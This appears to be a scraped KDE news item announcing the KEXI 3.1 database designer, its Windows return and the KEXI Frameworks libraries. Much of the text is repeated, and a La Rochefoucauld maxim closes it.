    Business environments are often concerned about migrating to FOSS solutions because of compatibility issues with the proprietary software and formats they currently use. KEXI solves that problem with its Microsoft Access migration assistant that ensures database tables are preserved and editable between applications. Even better, KEXI works natively on the Windows operating system. In fact, KEXI was the first KDE application offered in full version on Windows.

    After a long hiatus, the new version of KEXI offers convenient installers for Windows once again. Although it's a preview version, the users are invited to try it out, report bugs, and provide feedback.

    Usability and Stability for Everyone


    KProperty is included in the first
    major release of KEXI Frameworks.

    Similar to Plasma 5.12 LTS, the focus of KEXI 3.1 was to improve stability and (backward) compatibility. With more than 200 bugfixes and visibly improved integration with other desktop environments, the goal has definitely been achieved.

    Usability improvements have also made their way into KEXI 3.1 dialogs. When using the Import Table Assistant, it is now possible to set character encoding for the source database. Property groups are now supported, and users can set custom sizes for report pages.

    Great News for Developers

    KEXI 3.1 marks the first official release of KEXI Frameworks - a powerful backend aimed at developers who want to simplify their codebase while making their Qt and C++ applications more featureful. KDb is a database connectivity and creation framework for various database vendors. In KEXI 3.1, KDb offers new debugging functions for SQL statements and comes with improved database schema caching.

    KProperty is a property editing framework which now comes with improved support for measurement units and visual property grouping. Last but not least, KReport is a framework for building reports in various formats, offering similar functionality to the reports in MS Access, SAP Crystal or FileMaker. The most useful new feature in KEXI 3.1 is the ability to set custom page sizes for KReport.


    New options in KReport allow you to
    tweak the appearance of reports.

    Alongside Frameworks, KEXI 3.1 offers greatly refined APIs and updated API documentation. According to the developers, “the frameworks are now guaranteed to be backward-compatible between minor versions”.

    Translations have also been improved, and KEXI 3.1 is the first version where they are bundled with the Frameworks. This will make it easier for the developers using KEXI Frameworks, as they will be able to use translated messages in their apps.

    Make KEXI Even Better

    Even with all the excitement about the new release, KEXI developers are already working on new features and improving the existing ones. If you'd like to help make KEXI better, it's never too late to join the project! Take a look at the list of available coding and non-coding jobs.

    Although the API documentation has been updated, the user documentation could use some love. If you're good at writing or teaching others, why not chip in?

    Finally, if you know a business or an individual that's looking for a Microsoft Access replacement, tell them about KEXI.
    They just might be pleasantly surprised with what they'll discover.


    Download the KEXI 3.1 source or install it from the repository of your distribution. For the full list of changes in the new version, take a look at the official changelog.

  • KEXI 3.1 Brings Database Application Building to Windows (KDE)

    After many months of hard work and more than 200 bugs fixed, KEXI is back with a new major release that will excite Windows and Linux users alike.

    If you are looking for a Free and open source alternative to Microsoft Access, KEXI is the right tool for you.


    KEXI offers an easy way
    to design all kinds of databases.

    As part of the Calligra suite, KEXI integrates with other office software, providing an easy, visual way to design tables, queries, and forms, build database applications, and export data into multiple formats. KEXI also offers rich data searching options, as well as support for parametrized queries, designing relational data, and storing object data (including images).

    A new version of KEXI has just been released, so if you have never tried this powerful database designer application, now is the right time.

    KEXI 3.1 is available for Linux and macOS, and after many years, for Windows as well.

    KEXI Is Back on Windows

    Business environments are often concerned about migrating to FOSS solutions because of compatibility issues with the proprietary software and formats they currently use. KEXI solves that problem with its Microsoft Access migration assistant that ensures database tables are preserved and editable between applications. Even better, KEXI works natively on the Windows operating system. In fact, KEXI was the first KDE application offered in full version on Windows.

    After a long hiatus, the new version of KEXI offers convenient installers for Windows once again. Although it's a preview version, the users are invited to try it out, report bugs, and provide feedback.

    Usability and Stability for Everyone


    KProperty is included in the first
    major release of KEXI Frameworks.

    Similar to Plasma 5.12 LTS, the focus of KEXI 3.1 was to improve stability and (backward) compatibility. With more than 200 bugfixes and visibly improved integration with other desktop environments, the goal has definitely been achieved.

    Usability improvements have also made their way into KEXI 3.1 dialogs. When using the Import Table Assistant, it is now possible to set character encoding for the source database. Property groups are now supported, and users can set custom sizes for report pages.

    Great News for Developers

    KEXI 3.1 marks the first official release of KEXI Frameworks - a powerful backend aimed at developers who want to simplify their codebase while making their Qt and C++ applications more featureful. KDb is a database connectivity and creation framework for various database vendors. In KEXI 3.1, KDb offers new debugging functions for SQL statements and comes with improved database schema caching.

    KProperty is a property editing framework which now comes with improved support for measurement units and visual property grouping. Last but not least, KReport is a framework for building reports in various formats, offering similar functionality to the reports in MS Access, SAP Crystal or FileMaker. The most useful new feature in KEXI 3.1 is the ability to set custom page sizes for KReport.


    New options in KReport allow you to
    tweak the appearance of reports.

    Alongside Frameworks, KEXI 3.1 offers greatly refined APIs and updated API documentation. According to the developers, “the frameworks are now guaranteed to be backward-compatible between minor versions”.

    Translations have also been improved, and KEXI 3.1 is the first version where they are bundled with the Frameworks. This will make it easier for the developers using KEXI Frameworks, as they will be able to use translated messages in their apps.

    Make KEXI Even Better

    Even with all the excitement about the new release, KEXI developers are already working on new features and improving the existing ones. If you'd like to help make KEXI better, it's never too late to join the project! Take a look at the list of available coding and non-coding jobs.

    Although the API documentation has been updated, the user documentation could use some love. If you're good at writing or teaching others, why not chip in?

    Finally, if you know a business or an individual that's looking for a Microsoft Access replacement, tell them about KEXI.
    They just might be pleasantly surprised with what they'll discover.


    Download the KEXI 3.1 source or install it from the repository of your distribution. For the full list of changes in the new version, take a look at the official changelog.

C'est une espèce de coquetterie de faire remarquer qu'on n'en fait
jamais.
-+- François de La Rochefoucauld (1613-1680), Maximes 107 -+-